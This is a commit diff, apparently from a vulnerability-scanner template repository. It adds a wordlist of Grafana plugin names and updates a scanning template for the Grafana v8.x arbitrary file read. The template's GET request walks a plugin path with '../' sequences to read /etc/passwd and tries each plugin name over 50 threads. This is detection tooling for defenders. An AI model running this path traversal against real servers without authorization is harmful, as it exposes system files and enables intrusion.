Update Grafana Arbitrary File Read (#3321)
* Add Grafana plugins wordlist * Using payloads instead * fix: updated variable name Co-authored-by: sandeep <sandeep@projectdiscovery.io>patch-1
parent
fa02b69bca
commit
6a4bbdf93a
|
@ -0,0 +1,257 @@
|
||||||
|
abhisant-druid-datasource
|
||||||
|
aceiot-svg-panel
|
||||||
|
ae3e-plotly-panel
|
||||||
|
agenty-flowcharting-panel
|
||||||
|
aidanmountford-html-panel
|
||||||
|
akumuli-datasource
|
||||||
|
alertlist
|
||||||
|
alexanderzobnin-zabbix-app
|
||||||
|
alexandra-trackmap-panel
|
||||||
|
andig-darksky-datasource
|
||||||
|
annolist
|
||||||
|
anodot-datasource
|
||||||
|
anodot-panel
|
||||||
|
aquaqanalytics-kdbadaptor-datasource
|
||||||
|
auxmoney-waterfall-panel
|
||||||
|
ayoungprogrammer-finance-datasource
|
||||||
|
barchart
|
||||||
|
bargauge
|
||||||
|
belugacdn-app
|
||||||
|
bessler-pictureit-panel
|
||||||
|
bilibala-echarts-panel
|
||||||
|
blackmirror1-singlestat-math-panel
|
||||||
|
blackmirror1-statusbygroup-panel
|
||||||
|
bmchelix-ade-datasource
|
||||||
|
bosun-app
|
||||||
|
briangann-datatable-panel
|
||||||
|
briangann-gauge-panel
|
||||||
|
camptocamp-prometheus-alertmanager-datasource
|
||||||
|
candlestick
|
||||||
|
ccin2p3-riemann-datasource
|
||||||
|
citilogics-geoloop-panel
|
||||||
|
clarity89-finnhub-datasource
|
||||||
|
cloudflare-app
|
||||||
|
cloudspout-button-panel
|
||||||
|
cloudwatch
|
||||||
|
cognitedata-datasource
|
||||||
|
corpglory-progresslist-panel
|
||||||
|
dalmatinerdb-datasource
|
||||||
|
dalvany-image-panel
|
||||||
|
dashlist
|
||||||
|
ddurieux-glpi-app
|
||||||
|
devicehive-devicehive-datasource
|
||||||
|
devopsprodigy-kubegraf-app
|
||||||
|
digiapulssi-breadcrumb-panel
|
||||||
|
digiapulssi-organisations-panel
|
||||||
|
digrich-bubblechart-panel
|
||||||
|
dlopes7-appdynamics-datasource
|
||||||
|
doitintl-bigquery-datasource
|
||||||
|
elasticsearch
|
||||||
|
factry-untimely-panel
|
||||||
|
farski-blendstat-panel
|
||||||
|
fastweb-openfalcon-datasource
|
||||||
|
fatcloud-windrose-panel
|
||||||
|
fetzerch-sunandmoon-datasource
|
||||||
|
fifemon-graphql-datasource
|
||||||
|
flaminggoat-maptrack3d-panel
|
||||||
|
flant-statusmap-panel
|
||||||
|
foursquare-clouderamanager-datasource
|
||||||
|
frser-sqlite-datasource
|
||||||
|
fzakaria-simple-annotations-datasource
|
||||||
|
gapit-htmlgraphics-panel
|
||||||
|
gauge
|
||||||
|
geomap
|
||||||
|
gettingstarted
|
||||||
|
gnocchixyz-gnocchi-datasource
|
||||||
|
goshposh-metaqueries-datasource
|
||||||
|
gowee-traceroutemap-panel
|
||||||
|
grafadruid-druid-datasource
|
||||||
|
grafana-athena-datasource
|
||||||
|
grafana-azure-data-explorer-datasource
|
||||||
|
grafana-azure-monitor-datasource
|
||||||
|
grafana-clickhouse-datasource
|
||||||
|
grafana-clock-panel
|
||||||
|
grafana-datadog-datasource
|
||||||
|
grafana-discourse-datasource
|
||||||
|
grafana-dynatrace-datasource
|
||||||
|
grafana-enterprise-logs-app
|
||||||
|
grafana-enterprise-traces-app
|
||||||
|
grafana-es-open-distro-datasource
|
||||||
|
grafana-github-datasource
|
||||||
|
grafana-gitlab-datasource
|
||||||
|
grafana-googlesheets-datasource
|
||||||
|
grafana-guidedtour-panel
|
||||||
|
grafana-honeycomb-datasource
|
||||||
|
grafana-image-renderer
|
||||||
|
grafana-iot-sitewise-datasource
|
||||||
|
grafana-iot-twinmaker-app
|
||||||
|
grafana-jira-datasource
|
||||||
|
grafana-k6cloud-datasource
|
||||||
|
grafana-kairosdb-datasource
|
||||||
|
grafana-metrics-enterprise-app
|
||||||
|
grafana-mongodb-datasource
|
||||||
|
grafana-newrelic-datasource
|
||||||
|
grafana-opcua-datasource
|
||||||
|
grafana-opensearch-datasource
|
||||||
|
grafana-oracle-datasource
|
||||||
|
grafana-piechart-panel
|
||||||
|
grafana-polystat-panel
|
||||||
|
grafana-redshift-datasource
|
||||||
|
grafana-salesforce-datasource
|
||||||
|
grafana-saphana-datasource
|
||||||
|
grafana-sentry-datasource
|
||||||
|
grafana-servicenow-datasource
|
||||||
|
grafana-simple-json-datasource
|
||||||
|
grafana-singlestat-panel
|
||||||
|
grafana-snowflake-datasource
|
||||||
|
grafana-splunk-datasource
|
||||||
|
grafana-splunk-monitoring-datasource
|
||||||
|
grafana-strava-datasource
|
||||||
|
grafana-synthetic-monitoring-app
|
||||||
|
grafana-timestream-datasource
|
||||||
|
grafana-wavefront-datasource
|
||||||
|
grafana-worldmap-panel
|
||||||
|
grafana-x-ray-datasource
|
||||||
|
graph
|
||||||
|
graphite
|
||||||
|
gretamosa-topology-panel
|
||||||
|
gridprotectionalliance-openhistorian-datasource
|
||||||
|
gridprotectionalliance-osisoftpi-datasource
|
||||||
|
groonga-datasource
|
||||||
|
hadesarchitect-cassandra-datasource
|
||||||
|
hawkular-datasource
|
||||||
|
heatmap
|
||||||
|
histogram
|
||||||
|
humio-datasource
|
||||||
|
ibm-apm-datasource
|
||||||
|
influxdb
|
||||||
|
innius-grpc-datasource
|
||||||
|
innius-video-panel
|
||||||
|
instana-datasource
|
||||||
|
integrationmatters-comparison-panel
|
||||||
|
isaozler-paretochart-panel
|
||||||
|
itrs-hub-datasource
|
||||||
|
jaeger
|
||||||
|
jasonlashua-prtg-datasource
|
||||||
|
jdbranham-diagram-panel
|
||||||
|
jeanbaptistewatenberg-percent-panel
|
||||||
|
larona-epict-panel
|
||||||
|
lightstep-metrics-datasource
|
||||||
|
linksmart-hds-datasource
|
||||||
|
linksmart-sensorthings-datasource
|
||||||
|
logs
|
||||||
|
loki
|
||||||
|
macropower-analytics-panel
|
||||||
|
magnesium-wordcloud-panel
|
||||||
|
marcuscalidus-svg-panel
|
||||||
|
marcusolsson-calendar-panel
|
||||||
|
marcusolsson-csv-datasource
|
||||||
|
marcusolsson-dynamictext-panel
|
||||||
|
marcusolsson-gantt-panel
|
||||||
|
marcusolsson-hexmap-panel
|
||||||
|
marcusolsson-hourly-heatmap-panel
|
||||||
|
marcusolsson-json-datasource
|
||||||
|
marcusolsson-static-datasource
|
||||||
|
marcusolsson-treemap-panel
|
||||||
|
meteostat-meteostat-datasource
|
||||||
|
michaeldmoore-annunciator-panel
|
||||||
|
michaeldmoore-multistat-panel
|
||||||
|
michaeldmoore-scatter-panel
|
||||||
|
monasca-datasource
|
||||||
|
monitoringartist-monitoringart-datasource
|
||||||
|
moogsoft-aiops-app
|
||||||
|
mssql
|
||||||
|
mtanda-google-calendar-datasource
|
||||||
|
mtanda-heatmap-epoch-panel
|
||||||
|
mtanda-histogram-panel
|
||||||
|
mxswat-separator-panel
|
||||||
|
mysql
|
||||||
|
natel-discrete-panel
|
||||||
|
natel-influx-admin-panel
|
||||||
|
natel-plotly-panel
|
||||||
|
natel-usgs-datasource
|
||||||
|
neocat-cal-heatmap-panel
|
||||||
|
netsage-sankey-panel
|
||||||
|
news
|
||||||
|
nodeGraph
|
||||||
|
novalabs-annotations-panel
|
||||||
|
novatec-sdg-panel
|
||||||
|
ntop-ntopng-datasource
|
||||||
|
oci-logs-datasource
|
||||||
|
oci-metrics-datasource
|
||||||
|
opennms-helm-app
|
||||||
|
opentsdb
|
||||||
|
ovh-warp10-datasource
|
||||||
|
paytm-kapacitor-datasource
|
||||||
|
percona-percona-app
|
||||||
|
petrslavotinek-carpetplot-panel
|
||||||
|
piechart
|
||||||
|
pierosavi-imageit-panel
|
||||||
|
pixie-pixie-datasource
|
||||||
|
pluginlist
|
||||||
|
postgres
|
||||||
|
pr0ps-trackmap-panel
|
||||||
|
praj-ams-datasource
|
||||||
|
prometheus
|
||||||
|
pue-solr-datasource
|
||||||
|
pyroscope-datasource
|
||||||
|
pyroscope-panel
|
||||||
|
quasardb-datasource
|
||||||
|
rackerlabs-blueflood-datasource
|
||||||
|
radensolutions-netxms-datasource
|
||||||
|
redis-app
|
||||||
|
redis-datasource
|
||||||
|
redis-explorer-app
|
||||||
|
ryantxu-ajax-panel
|
||||||
|
ryantxu-annolist-panel
|
||||||
|
satellogic-3d-globe-panel
|
||||||
|
savantly-heatmap-panel
|
||||||
|
sbueringer-consul-datasource
|
||||||
|
scadavis-synoptic-panel
|
||||||
|
sebastiangunreben-cdf-panel
|
||||||
|
sidewinder-datasource
|
||||||
|
simpod-json-datasource
|
||||||
|
singlestat
|
||||||
|
skydive-datasource
|
||||||
|
smartmakers-trafficlight-panel
|
||||||
|
sni-pnp-datasource
|
||||||
|
sni-thruk-datasource
|
||||||
|
snuids-radar-panel
|
||||||
|
snuids-svg-panel
|
||||||
|
snuids-trafficlights-panel
|
||||||
|
speakyourcode-button-panel
|
||||||
|
spotify-heroic-datasource
|
||||||
|
sskgo-perfcurve-panel
|
||||||
|
stackdriver
|
||||||
|
stagemonitor-elasticsearch-app
|
||||||
|
stat
|
||||||
|
state-timeline
|
||||||
|
status-histor
|
||||||
|
streamr-datasource
|
||||||
|
table
|
||||||
|
table-old
|
||||||
|
teamviewer-datasource
|
||||||
|
tempo
|
||||||
|
tencentcloud-monitor-app
|
||||||
|
testdata
|
||||||
|
text
|
||||||
|
thalysantana-appcenter-datasource
|
||||||
|
thiagoarrais-matomotracking-panel
|
||||||
|
timeseries
|
||||||
|
udoprog-heroic-datasource
|
||||||
|
vertamedia-clickhouse-datasource
|
||||||
|
vertica-grafana-datasource
|
||||||
|
verticle-flowhook-datasource
|
||||||
|
volkovlabs-image-panel
|
||||||
|
vonage-status-panel
|
||||||
|
voxter-app
|
||||||
|
welcome
|
||||||
|
williamvenner-timepickerbuttons-panel
|
||||||
|
woutervh-mapbox-panel
|
||||||
|
xginn8-pagerduty-datasource
|
||||||
|
yesoreyeram-boomtable-panel
|
||||||
|
yesoreyeram-boomtheme-panel
|
||||||
|
yesoreyeram-infinity-datasource
|
||||||
|
yeya24-chaosmesh-datasource
|
||||||
|
zipkin
|
||||||
|
zuburqan-parity-report-panel
|
|
@ -2,7 +2,7 @@ id: grafana-file-read
|
||||||
|
|
||||||
info:
|
info:
|
||||||
name: Grafana v8.x Arbitrary File Read
|
name: Grafana v8.x Arbitrary File Read
|
||||||
author: z0ne,dhiyaneshDk,jeya.seelan
|
author: z0ne,dhiyaneshDk,jeya.seelan,dwisiswant0
|
||||||
severity: high
|
severity: high
|
||||||
reference:
|
reference:
|
||||||
- https://nosec.org/home/detail/4914.html
|
- https://nosec.org/home/detail/4914.html
|
||||||
|
@ -14,51 +14,12 @@ info:
|
||||||
requests:
|
requests:
|
||||||
- method: GET
|
- method: GET
|
||||||
path:
|
path:
|
||||||
- "{{BaseURL}}/public/plugins/{{plugin-id}}/../../../../../../../../../../../../../../../../../../../etc/passwd"
|
- "{{BaseURL}}/public/plugins/{{pluginSlug}}/../../../../../../../../../../../../../../../../../../../etc/passwd"
|
||||||
|
|
||||||
payloads:
|
payloads:
|
||||||
plugin-id:
|
pluginSlug: helpers/wordlists/grafana-plugins.txt
|
||||||
- alertlist
|
|
||||||
- annolist
|
|
||||||
- barchart
|
|
||||||
- bargauge
|
|
||||||
- candlestick
|
|
||||||
- cloudwatch
|
|
||||||
- dashlist
|
|
||||||
- elasticsearch
|
|
||||||
- gauge
|
|
||||||
- geomap
|
|
||||||
- gettingstarted
|
|
||||||
- grafana-azure-monitor-datasource
|
|
||||||
- graph
|
|
||||||
- heatmap
|
|
||||||
- histogram
|
|
||||||
- influxdb
|
|
||||||
- jaeger
|
|
||||||
- logs
|
|
||||||
- loki
|
|
||||||
- mssql
|
|
||||||
- mysql
|
|
||||||
- news
|
|
||||||
- nodeGraph
|
|
||||||
- opentsdb
|
|
||||||
- piechart
|
|
||||||
- pluginlist
|
|
||||||
- postgres
|
|
||||||
- prometheus
|
|
||||||
- stackdriver
|
|
||||||
- stat
|
|
||||||
- state-timeline
|
|
||||||
- status-history
|
|
||||||
- table
|
|
||||||
- table-old
|
|
||||||
- tempo
|
|
||||||
- testdata
|
|
||||||
- text
|
|
||||||
- timeseries
|
|
||||||
- welcome
|
|
||||||
- zipkin
|
|
||||||
|
|
||||||
|
threads: 50
|
||||||
stop-at-first-match: true
|
stop-at-first-match: true
|
||||||
matchers-condition: and
|
matchers-condition: and
|
||||||
matchers:
|
matchers:
|
||||||
|
|
Loading…
Reference in New Issue